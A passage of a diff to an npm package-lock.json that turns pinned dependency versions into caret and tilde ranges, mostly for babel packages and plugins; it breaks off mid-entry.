"sha512-zVWV8Z8lislJoOKKqdNMOB+s6+XV5WERty8MnKBeFgwA+19XJjJHs2RP5dzM57FftIs+jQnRToLiWazKr6sSWg==", "dev": true, "requires": { - "acorn": "5.7.3" + "acorn": "^5.0.0" } }, "acorn-jsx": { @@ -444,7 +459,7 @@ "integrity": "sha512-JY+iV6r+cO21KtntVvFkD+iqjtdpRUpGqKWgfkCdZq1R+kbreEl8EcdcJR4SmiIgsIQT33s6QzheQ9a275Q8xw==", "dev": true, "requires": { - "acorn": "5.7.3" + "acorn": "^5.0.3" } }, "after": { @@ -459,10 +474,10 @@ "integrity": "sha512-hOs7GfvI6tUI1LfZddH82ky6mOMyTuY0mk7kE2pWpmhhUSkumzaTO5vbVwij39MdwPQWCV4Zv57Eo06NtL/GVA==", "dev": true, "requires": { - "fast-deep-equal": "2.0.1", - "fast-json-stable-stringify": "2.0.0", - "json-schema-traverse": "0.4.1", - "uri-js": "4.2.2" + "fast-deep-equal": "^2.0.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.1" }, "dependencies": { "fast-deep-equal": { @@ -497,9 +512,9 @@ "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", "dev": true, "requires": { - "kind-of": "3.2.2", - "longest": "1.0.1", - "repeat-string": "1.6.1" + "kind-of": "^3.0.2", + "longest": "^1.0.1", + "repeat-string": "^1.5.2" } }, "amdefine": { @@ -545,8 +560,8 @@ "dev": true, "optional": true, "requires": { - "micromatch": "2.3.11", - "normalize-path": "2.1.1" + "micromatch": "^2.1.5", + "normalize-path": "^2.0.0" } }, "aproba": { @@ -561,7 +576,7 @@ "integrity": "sha1-c9g7wmP4bpf4zE9rrhsOkKfSLIY=", "dev": true, "requires": { - "sprintf-js": "1.0.3" + "sprintf-js": "~1.0.2" } }, "arr-diff": { @@ -571,7 +586,7 @@ "dev": true, "optional": true, "requires": { - "arr-flatten": "1.1.0" + "arr-flatten": "^1.0.1" } }, "arr-flatten": { @@ -604,8 +619,8 @@ "integrity": "sha1-GEtI9i2S10UrsxsyMWXH+L0CJm0=", "dev": true, "requires": { - "define-properties": "1.1.3", - "es-abstract": "1.12.0" + "define-properties": "^1.1.2", + "es-abstract": "^1.7.0" } }, "array-slice": { @@ -620,7 +635,7 @@ "integrity": "sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=", "dev": true, "requires": { - "array-uniq": "1.0.3" + "array-uniq": "^1.0.1" } }, "array-uniq": { @@ -659,9 +674,9 @@ "integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==", "dev": true, "requires": { - "bn.js": "4.11.8", - "inherits": "2.0.3", - "minimalistic-assert": "1.0.1" + "bn.js": "^4.0.0", + "inherits": "^2.0.1", + "minimalistic-assert": "^1.0.0" } }, "assert": { @@ -762,21 +777,21 @@ "integrity": "sha1-UCq1SHTX24itALiHoGODzgPQAvE=", "dev": true, "requires": { - "babel-core": "6.26.3", - "babel-polyfill": "6.26.0", - "babel-register": "6.26.0", - "babel-runtime": "6.26.0", - "chokidar": "1.7.0", - "commander": "2.15.1", - "convert-source-map": "1.5.1", - "fs-readdir-recursive": "1.1.0", - "glob": "7.1.3", - "lodash": "4.17.10", - "output-file-sync": "1.1.2", - "path-is-absolute": "1.0.1", - "slash": "1.0.0", - "source-map": "0.5.6", - "v8flags": "2.1.1" + "babel-core": "^6.26.0", + "babel-polyfill": "^6.26.0", + "babel-register": "^6.26.0", + "babel-runtime": "^6.26.0", + "chokidar": "^1.6.1", + "commander": "^2.11.0", + "convert-source-map": "^1.5.0", + "fs-readdir-recursive": "^1.0.0", + "glob": "^7.1.2", + "lodash": "^4.17.4", + "output-file-sync": "^1.1.2", + "path-is-absolute": "^1.0.1", + "slash": "^1.0.0", + "source-map": "^0.5.6", + "v8flags": "^2.1.1" }, "dependencies": { "babel-runtime": { @@ -785,8 +800,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.7", - "regenerator-runtime": "0.11.1" + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" } }, "regenerator-runtime": { @@ -803,9 +818,9 @@ "integrity": "sha1-AnYgvuVnqIwyVhV05/0IAdMxGOQ=", "dev": true, "requires": { - "chalk": "1.1.3", - "esutils": "2.0.2", - "js-tokens": "3.0.2" + "chalk": "^1.1.0", + "esutils": "^2.0.2", + "js-tokens": "^3.0.0" } }, "babel-core": { @@ -814,25 +829,25 @@ "integrity": "sha512-6jyFLuDmeidKmUEb3NM+/yawG0M2bDZ9Z1qbZP59cyHLz8kYGKYwpJP0UwUKKUiTRNvxfLesJnTedqczP7cTDA==", "dev": true, "requires": { - "babel-code-frame": "6.26.0", - "babel-generator": "6.26.1", - "babel-helpers": "6.24.1", - "babel-messages": "6.23.0", - "babel-register": "6.26.0", - "babel-runtime": "6.26.0", - "babel-template": "6.26.0", - "babel-traverse": "6.26.0", - "babel-types": "6.26.0", - "babylon": "6.18.0", - "convert-source-map": "1.5.1", - "debug": "2.6.9", - "json5": "0.5.1", - "lodash": "4.17.10", - "minimatch": "3.0.4", - "path-is-absolute": "1.0.1", - "private": "0.1.8", - "slash": "1.0.0", - "source-map": "0.5.7" + "babel-code-frame": "^6.26.0", + "babel-generator": "^6.26.0", + "babel-helpers": "^6.24.1", + "babel-messages": "^6.23.0", + "babel-register": "^6.26.0", + "babel-runtime": "^6.26.0", + "babel-template": "^6.26.0", + "babel-traverse": "^6.26.0", + "babel-types": "^6.26.0", + "babylon": "^6.18.0", + "convert-source-map": "^1.5.1", + "debug": "^2.6.9", + "json5": "^0.5.1", + "lodash": "^4.17.4", + "minimatch": "^3.0.4", + "path-is-absolute": "^1.0.1", + "private": "^0.1.8", + "slash": "^1.0.0", + "source-map": "^0.5.7" }, "dependencies": { "babel-code-frame": { @@ -841,9 +856,9 @@ "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", "dev": true, "requires": { - "chalk": "1.1.3", - "esutils": "2.0.2", - "js-tokens": "3.0.2" + "chalk": "^1.1.3", + "esutils": "^2.0.2", + "js-tokens": "^3.0.2" } }, "babel-runtime": { @@ -852,8 +867,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.7", - "regenerator-runtime": "0.11.1" + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" } }, "babel-template": { @@ -862,11 +877,11 @@ "integrity": "sha1-3gPi0WOWsGn0bdn/+FIfsaDjXgI=", "dev": true, "requires": { - "babel-runtime": "6.26.0", - "babel-traverse": "6.26.0", - "babel-types": "6.26.0", - "babylon": "6.18.0", - "lodash": "4.17.10" + "babel-runtime": "^6.26.0", + "babel-traverse": "^6.26.0", + "babel-types": "^6.26.0", + "babylon": "^6.18.0", + "lodash": "^4.17.4" } }, "babel-traverse": { @@ -875,15 +890,15 @@ "integrity": "sha1-RqnL1+3MYsjlwGTi0tjQ9ANXZu4=", "dev": true, "requires": { - "babel-code-frame": "6.26.0", - "babel-messages": "6.23.0", - "babel-runtime": "6.26.0", - "babel-types": "6.26.0", - "babylon": "6.18.0", - "debug": "2.6.9", - "globals": "9.18.0", - "invariant": "2.2.2", - "lodash": "4.17.10" + "babel-code-frame": "^6.26.0", + "babel-messages": "^6.23.0", + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "babylon": "^6.18.0", + "debug": "^2.6.8", + "globals": "^9.18.0", + "invariant": "^2.2.2", + "lodash": "^4.17.4" } }, "babel-types": { @@ -892,10 +907,10 @@ "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", "dev": true, "requires": { - "babel-runtime": "6.26.0", - "esutils": "2.0.2", - "lodash": "4.17.10", - "to-fast-properties": "1.0.3" + "babel-runtime": "^6.26.0", + "esutils": "^2.0.2", + "lodash": "^4.17.4", + "to-fast-properties": "^1.0.3" } }, "babylon": { @@ -944,7 +959,7 @@ "@babel/types": "7.0.0-beta.44", "babylon": "7.0.0-beta.44", "eslint-scope": "3.7.1", - "eslint-visitor-keys": "1.0.0" + "eslint-visitor-keys": "^1.0.0" }, "dependencies": { "babylon": { @@ -961,14 +976,14 @@ "integrity": "sha512-HyfwY6ApZj7BYTcJURpM5tznulaBvyio7/0d4zFOeMPUmfxkCjHocCuoLa2SAGzBI8AREcH3eP3758F672DppA==", "dev": true, "requires": { - "babel-messages": "6.23.0", - "babel-runtime": "6.26.0", - "babel-types": "6.26.0", - "detect-indent": "4.0.0", - "jsesc": "1.3.0", - "lodash": "4.17.10", - "source-map": "0.5.7", - "trim-right": "1.0.1" + "babel-messages": "^6.23.0", + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "detect-indent": "^4.0.0", + "jsesc": "^1.3.0", + "lodash": "^4.17.4", + "source-map": "^0.5.7", + "trim-right": "^1.0.1" }, "dependencies": { "babel-runtime": { @@ -977,8 +992,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.7", - "regenerator-runtime": "0.11.1" + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" } }, "babel-types": { @@ -987,10 +1002,10 @@ "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", "dev": true, "requires": { - "babel-runtime": "6.26.0", - "esutils": "2.0.2", - "lodash": "4.17.10", - "to-fast-properties": "1.0.3" + "babel-runtime": "^6.26.0", + "esutils": "^2.0.2", + "lodash": "^4.17.4", + "to-fast-properties": "^1.0.3" } }, "regenerator-runtime": { @@ -1013,9 +1028,9 @@ "integrity": "sha1-FMGeXxQte0fxmlJDHlKxzLxAozA=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-traverse": "6.25.0", - "babel-types": "6.25.0" + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" } }, "babel-helper-builder-binary-assignment-operator-visitor": { @@ -1024,9 +1039,9 @@ "integrity": "sha1-zORReto1b0IgvK6KAsKzRvmlZmQ=", "dev": true, "requires": { - "babel-helper-explode-assignable-expression": "6.24.1", - "babel-runtime": "6.25.0", - "babel-types": "6.25.0" + "babel-helper-explode-assignable-expression": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" } }, "babel-helper-builder-react-jsx": { @@ -1035,9 +1050,9 @@ "integrity": "sha1-Of+DE7dci2Xc7/HzHTg+D/KkCKA=", "dev": true, "requires": { - "babel-runtime": "6.26.0", - "babel-types": "6.26.0", - "esutils": "2.0.2" + "babel-runtime": "^6.26.0", + "babel-types": "^6.26.0", + "esutils": "^2.0.2" }, "dependencies": { "babel-runtime": { @@ -1046,8 +1061,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.7", - "regenerator-runtime": "0.11.1" + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" } }, "babel-types": { @@ -1056,10 +1071,10 @@ "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", "dev": true, "requires": { - "babel-runtime": "6.26.0", - "esutils": "2.0.2", - "lodash": "4.17.10", - "to-fast-properties": "1.0.3" + "babel-runtime": "^6.26.0", + "esutils": "^2.0.2", + "lodash": "^4.17.4", + "to-fast-properties": "^1.0.3" } }, "regenerator-runtime": { @@ -1076,10 +1091,10 @@ "integrity": "sha1-7Oaqzdx25Bw0YfiL/Fdb0Nqi340=", "dev": true, "requires": { - "babel-helper-hoist-variables": "6.24.1", - "babel-runtime": "6.25.0", - "babel-traverse": "6.25.0", - "babel-types": "6.25.0" + "babel-helper-hoist-variables": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" } }, "babel-helper-define-map": { @@ -1088,10 +1103,10 @@ "integrity": "sha1-epdH8ljYlH0y1RX2qhx70CIEoIA=", "dev": true, "requires": { - "babel-helper-function-name": "6.24.1", - "babel-runtime": "6.25.0", - "babel-types": "6.25.0", - "lodash": "4.17.10" + "babel-helper-function-name": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1", + "lodash": "^4.2.0" } }, "babel-helper-explode-assignable-expression": { @@ -1100,9 +1115,9 @@ "integrity": "sha1-8luCz33BBDPFX3BZLVdGQArCLKo=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-traverse": "6.25.0", - "babel-types": "6.25.0" + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" } }, "babel-helper-explode-class": { @@ -1111,10 +1126,10 @@ "integrity": "sha1-fcKjkQ3uAHBW4eMdZAztPVTqqes=", "dev": true, "requires": { - "babel-helper-bindify-decorators": "6.24.1", - "babel-runtime": "6.25.0", - "babel-traverse": "6.25.0", - "babel-types": "6.25.0" + "babel-helper-bindify-decorators": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" } }, "babel-helper-function-name": { @@ -1123,11 +1138,11 @@ "integrity": "sha1-00dbjAPtmCQqJbSDUasYOZ01gKk=", "dev": true, "requires": { - "babel-helper-get-function-arity": "6.24.1", - "babel-runtime": "6.25.0", - "babel-template": "6.25.0", - "babel-traverse": "6.25.0", - "babel-types": "6.25.0" + "babel-helper-get-function-arity": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" } }, "babel-helper-get-function-arity": { @@ -1136,8 +1151,8 @@ "integrity": "sha1-j3eCqpNAfEHTqlCQj4mwMbG2hT0=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-types": "6.25.0" + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" } }, "babel-helper-hoist-variables": { @@ -1146,8 +1161,8 @@ "integrity": "sha1-HssnaJydJVE+rbyZFKc/VAi+enY=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-types": "6.25.0" + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" } }, "babel-helper-optimise-call-expression": { @@ -1156,8 +1171,8 @@ "integrity": "sha1-96E0J7qfc/j0+pk8VKl4gtEkQlc=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-types": "6.25.0" + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" } }, "babel-helper-regex": { @@ -1166,9 +1181,9 @@ "integrity": "sha1-024i+rEAjXnYhkjjIRaGgShFbOg=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-types": "6.25.0", - "lodash": "4.17.10" + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1", + "lodash": "^4.2.0" } }, "babel-helper-remap-async-to-generator": { @@ -1177,11 +1192,11 @@ "integrity": "sha1-XsWBgnrXI/7N04HxySg5BnbkVRs=", "dev": true, "requires": { - "babel-helper-function-name": "6.24.1", - "babel-runtime": "6.25.0", - "babel-template": "6.25.0", - "babel-traverse": "6.25.0", - "babel-types": "6.25.0" + "babel-helper-function-name": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" } }, "babel-helper-replace-supers": { @@ -1190,12 +1205,12 @@ "integrity": "sha1-v22/5Dk40XNpohPKiov3S2qQqxo=", "dev": true, "requires": { - "babel-helper-optimise-call-expression": "6.24.1", - "babel-messages": "6.23.0", - "babel-runtime": "6.25.0", - "babel-template": "6.25.0", - "babel-traverse": "6.25.0", - "babel-types": "6.25.0" + "babel-helper-optimise-call-expression": "^6.24.1", + "babel-messages": "^6.23.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" } }, "babel-helpers": { @@ -1204,8 +1219,8 @@ "integrity": "sha1-NHHenK7DiOXIUOWX5Yom3fN2ArI=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-template": "6.25.0" + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" } }, "babel-loader": { @@ -1214,9 +1229,9 @@ "integrity": "sha512-iCHfbieL5d1LfOQeeVJEUyD9rTwBcP/fcEbRCfempxTDuqrKpu0AZjLAQHEQa3Yqyj9ORKe2iHfoj4rHLf7xpw==", "dev": true, "requires": { - "find-cache-dir": "1.0.0", - "loader-utils": "1.1.0", - "mkdirp": "0.5.1" + "find-cache-dir": "^1.0.0", + "loader-utils": "^1.0.2", + "mkdirp": "^0.5.1" }, "dependencies": { "loader-utils": { @@ -1225,9 +1240,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "3.1.3", - "emojis-list": "2.1.0", - "json5": "0.5.1" + "big.js": "^3.1.3", + "emojis-list": "^2.0.0", + "json5": "^0.5.0" } } } @@ -1238,7 +1253,7 @@ "integrity": "sha1-8830cDhYA1sqKVHG7F7fbGLyYw4=", "dev": true, "requires": { - "babel-runtime": "6.25.0" + "babel-runtime": "^6.22.0" } }, "babel-plugin-check-es2015-constants": { @@ -1247,7 +1262,7 @@ "integrity": "sha1-NRV7EBQm/S/9PaP3XH0ekYNbv4o=", "dev": true, "requires": { - "babel-runtime": "6.25.0" + "babel-runtime": "^6.22.0" } }, "babel-plugin-syntax-async-functions": { @@ -1340,9 +1355,9 @@ "integrity": "sha1-8FiQAUX9PpkHpt3yjaWfIVJYpds=", "dev": true, "requires": { - "babel-helper-remap-async-to-generator": "6.24.1", - "babel-plugin-syntax-async-generators": "6.13.0", - "babel-runtime": "6.25.0" + "babel-helper-remap-async-to-generator": "^6.24.1", + "babel-plugin-syntax-async-generators": "^6.5.0", + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-async-to-generator": { @@ -1351,9 +1366,9 @@ "integrity": "sha1-ZTbjeK/2yx1VF6wOQOs+n8jQh2E=", "dev": true, "requires": { - "babel-helper-remap-async-to-generator": "6.24.1", - "babel-plugin-syntax-async-functions": "6.13.0", - "babel-runtime": "6.25.0" + "babel-helper-remap-async-to-generator": "^6.24.1", + "babel-plugin-syntax-async-functions": "^6.8.0", + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-class-constructor-call": { @@ -1362,9 +1377,9 @@ "integrity": "sha1-gNwoVQWsBn3LjWxl4vbxGrd2Xvk=", "dev": true, "requires": { - "babel-plugin-syntax-class-constructor-call": "6.18.0", - "babel-runtime": "6.25.0", - "babel-template": "6.25.0" + "babel-plugin-syntax-class-constructor-call": "^6.18.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" } }, "babel-plugin-transform-class-properties": { @@ -1373,10 +1388,10 @@ "integrity": "sha1-anl2PqYdM9NvN7YRqp3vgagbRqw=", "dev": true, "requires": { - "babel-helper-function-name": "6.24.1", - "babel-plugin-syntax-class-properties": "6.13.0", - "babel-runtime": "6.25.0", - "babel-template": "6.25.0" + "babel-helper-function-name": "^6.24.1", + "babel-plugin-syntax-class-properties": "^6.8.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" } }, "babel-plugin-transform-decorators": { @@ -1385,11 +1400,11 @@ "integrity": "sha1-eIAT2PjGtSIr33s0Q5Df13Vp4k0=", "dev": true, "requires": { - "babel-helper-explode-class": "6.24.1", - "babel-plugin-syntax-decorators": "6.13.0", - "babel-runtime": "6.25.0", - "babel-template": "6.25.0", - "babel-types": "6.25.0" + "babel-helper-explode-class": "^6.24.1", + "babel-plugin-syntax-decorators": "^6.13.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-types": "^6.24.1" } }, "babel-plugin-transform-do-expressions": { @@ -1398,8 +1413,8 @@ "integrity": "sha1-KMyvkoEtlJws0SgfaQyP3EaK6bs=", "dev": true, "requires": { - "babel-plugin-syntax-do-expressions": "6.13.0", - "babel-runtime": "6.25.0" + "babel-plugin-syntax-do-expressions": "^6.8.0", + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-es2015-arrow-functions": { @@ -1408,7 +1423,7 @@ "integrity": "sha1-RSaSy3EdX3ncf4XkQM5BufJE0iE=", "dev": true, "requires": { - "babel-runtime": "6.25.0" + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-es2015-block-scoped-functions": { @@ -1417,7 +1432,7 @@ "integrity": "sha1-u8UbSflk1wy42OC5ToICRs46YUE=", "dev": true, "requires": { - "babel-runtime": "6.25.0" + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-es2015-block-scoping": { @@ -1426,11 +1441,11 @@ "integrity": "sha1-dsKV3DpHQbFmWt/TFnIV3P8ypXY=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-template": "6.25.0", - "babel-traverse": "6.25.0", - "babel-types": "6.25.0", - "lodash": "4.17.10" + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1", + "lodash": "^4.2.0" } }, "babel-plugin-transform-es2015-classes": { @@ -1439,15 +1454,15 @@ "integrity": "sha1-WkxYpQyclGHlZLSyo7+ryXolhNs=", "dev": true, "requires": { - "babel-helper-define-map": "6.24.1", - "babel-helper-function-name": "6.24.1", - "babel-helper-optimise-call-expression": "6.24.1", - "babel-helper-replace-supers": "6.24.1", - "babel-messages": "6.23.0", - "babel-runtime": "6.25.0", - "babel-template": "6.25.0", - "babel-traverse": "6.25.0", - "babel-types": "6.25.0" + "babel-helper-define-map": "^6.24.1", + "babel-helper-function-name": "^6.24.1", + "babel-helper-optimise-call-expression": "^6.24.1", + "babel-helper-replace-supers": "^6.24.1", + "babel-messages": "^6.23.0", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" } }, "babel-plugin-transform-es2015-computed-properties": { @@ -1456,8 +1471,8 @@ "integrity": "sha1-b+Ko0WiV1WNPTNmZttNICjCBWbM=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-template": "6.25.0" + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" } }, "babel-plugin-transform-es2015-destructuring": { @@ -1466,7 +1481,7 @@ "integrity": "sha1-mXux8auWf2gtKwh2/jWNYOdlxW0=", "dev": true, "requires": { - "babel-runtime": "6.25.0" + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-es2015-duplicate-keys": { @@ -1475,8 +1490,8 @@ "integrity": "sha1-c+s9MQypaePvnskcU3QabxV2Qj4=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-types": "6.25.0" + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" } }, "babel-plugin-transform-es2015-for-of": { @@ -1485,7 +1500,7 @@ "integrity": "sha1-9HyVsrYT3x0+zC/bdXNiPHUkhpE=", "dev": true, "requires": { - "babel-runtime": "6.25.0" + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-es2015-function-name": { @@ -1494,9 +1509,9 @@ "integrity": "sha1-g0yJhTvDaxrw86TF26qU/Y6sqos=", "dev": true, "requires": { - "babel-helper-function-name": "6.24.1", - "babel-runtime": "6.25.0", - "babel-types": "6.25.0" + "babel-helper-function-name": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" } }, "babel-plugin-transform-es2015-literals": { @@ -1505,7 +1520,7 @@ "integrity": "sha1-T1SgLWzWbPkVKAAZox0xklN3yi4=", "dev": true, "requires": { - "babel-runtime": "6.25.0" + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-es2015-modules-amd": { @@ -1514,9 +1529,9 @@ "integrity": "sha1-Oz5UAXI5hC1tGcMBHEvS8AoA0VQ=", "dev": true, "requires": { - "babel-plugin-transform-es2015-modules-commonjs": "6.24.1", - "babel-runtime": "6.25.0", - "babel-template": "6.25.0" + "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" } }, "babel-plugin-transform-es2015-modules-commonjs": { @@ -1525,10 +1540,10 @@ "integrity": "sha1-0+MQtA72ZKNmIiAAl8bUQCmPK/4=", "dev": true, "requires": { - "babel-plugin-transform-strict-mode": "6.24.1", - "babel-runtime": "6.25.0", - "babel-template": "6.25.0", - "babel-types": "6.25.0" + "babel-plugin-transform-strict-mode": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-types": "^6.24.1" } }, "babel-plugin-transform-es2015-modules-systemjs": { @@ -1537,9 +1552,9 @@ "integrity": "sha1-/4mhQrkRmpBhlfXxBuzzBdlAfSM=", "dev": true, "requires": { - "babel-helper-hoist-variables": "6.24.1", - "babel-runtime": "6.25.0", - "babel-template": "6.25.0" + "babel-helper-hoist-variables": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" } }, "babel-plugin-transform-es2015-modules-umd": { @@ -1548,9 +1563,9 @@ "integrity": "sha1-rJl+YoXNGO1hdq22B9YCNErThGg=", "dev": true, "requires": { - "babel-plugin-transform-es2015-modules-amd": "6.24.1", - "babel-runtime": "6.25.0", - "babel-template": "6.25.0" + "babel-plugin-transform-es2015-modules-amd": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1" } }, "babel-plugin-transform-es2015-object-super": { @@ -1559,8 +1574,8 @@ "integrity": "sha1-JM72muIcuDp/hgPa0CH1cusnj40=", "dev": true, "requires": { - "babel-helper-replace-supers": "6.24.1", - "babel-runtime": "6.25.0" + "babel-helper-replace-supers": "^6.24.1", + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-es2015-parameters": { @@ -1569,12 +1584,12 @@ "integrity": "sha1-V6w1GrScrxSpfNE7CfZv3wpiXys=", "dev": true, "requires": { - "babel-helper-call-delegate": "6.24.1", - "babel-helper-get-function-arity": "6.24.1", - "babel-runtime": "6.25.0", - "babel-template": "6.25.0", - "babel-traverse": "6.25.0", - "babel-types": "6.25.0" + "babel-helper-call-delegate": "^6.24.1", + "babel-helper-get-function-arity": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-template": "^6.24.1", + "babel-traverse": "^6.24.1", + "babel-types": "^6.24.1" } }, "babel-plugin-transform-es2015-shorthand-properties": { @@ -1583,8 +1598,8 @@ "integrity": "sha1-JPh11nIch2YbvZmkYi5R8U3jiqA=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-types": "6.25.0" + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" } }, "babel-plugin-transform-es2015-spread": { @@ -1593,7 +1608,7 @@ "integrity": "sha1-1taKmfia7cRTbIGlQujdnxdG+NE=", "dev": true, "requires": { - "babel-runtime": "6.25.0" + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-es2015-sticky-regex": { @@ -1602,9 +1617,9 @@ "integrity": "sha1-AMHNsaynERLN8M9hJsLta0V8zbw=", "dev": true, "requires": { - "babel-helper-regex": "6.24.1", - "babel-runtime": "6.25.0", - "babel-types": "6.25.0" + "babel-helper-regex": "^6.24.1", + "babel-runtime": "^6.22.0", + "babel-types": "^6.24.1" } }, "babel-plugin-transform-es2015-template-literals": { @@ -1613,7 +1628,7 @@ "integrity": "sha1-qEs0UPfp+PH2g51taH2oS7EjbY0=", "dev": true, "requires": { - "babel-runtime": "6.25.0" + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-es2015-typeof-symbol": { @@ -1622,7 +1637,7 @@ "integrity": "sha1-3sCfHN3/lLUqxz1QXITfWdzOs3I=", "dev": true, "requires": { - "babel-runtime": "6.25.0" + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-es2015-unicode-regex": { @@ -1631,9 +1646,9 @@ "integrity": "sha1-04sS9C6nMj9yk4fxinxa4frrNek=", "dev": true, "requires": { - "babel-helper-regex": "6.24.1", - "babel-runtime": "6.25.0", - "regexpu-core": "2.0.0" + "babel-helper-regex": "^6.24.1", + "babel-runtime": "^6.22.0", + "regexpu-core": "^2.0.0" } }, "babel-plugin-transform-exponentiation-operator": { @@ -1642,9 +1657,9 @@ "integrity": "sha1-KrDJx/MJj6SJB3cruBP+QejeOg4=", "dev": true, "requires": { - "babel-helper-builder-binary-assignment-operator-visitor": "6.24.1", - "babel-plugin-syntax-exponentiation-operator": "6.13.0", - "babel-runtime": "6.25.0" + "babel-helper-builder-binary-assignment-operator-visitor": "^6.24.1", + "babel-plugin-syntax-exponentiation-operator": "^6.8.0", + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-export-extensions": { @@ -1653,8 +1668,8 @@ "integrity": "sha1-U3OLR+deghhYnuqUbLvTkQm75lM=", "dev": true, "requires": { - "babel-plugin-syntax-export-extensions": "6.13.0", - "babel-runtime": "6.25.0" + "babel-plugin-syntax-export-extensions": "^6.8.0", + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-flow-strip-types": { @@ -1663,8 +1678,8 @@ "integrity": "sha1-hMtnKTXUNxT9wyvOhFaNh0Qc988=", "dev": true, "requires": { - "babel-plugin-syntax-flow": "6.18.0", - "babel-runtime": "6.25.0" + "babel-plugin-syntax-flow": "^6.18.0", + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-function-bind": { @@ -1673,8 +1688,8 @@ "integrity": "sha1-xvuOlqwpajELjPjqQBRiQH3fapc=", "dev": true, "requires": { - "babel-plugin-syntax-function-bind": "6.13.0", - "babel-runtime": "6.25.0" + "babel-plugin-syntax-function-bind": "^6.8.0", + "babel-runtime": "^6.22.0" } }, "babel-plugin-transform-object-rest-spread": { @@ -1683,8 +1698,8 @@ "integrity": 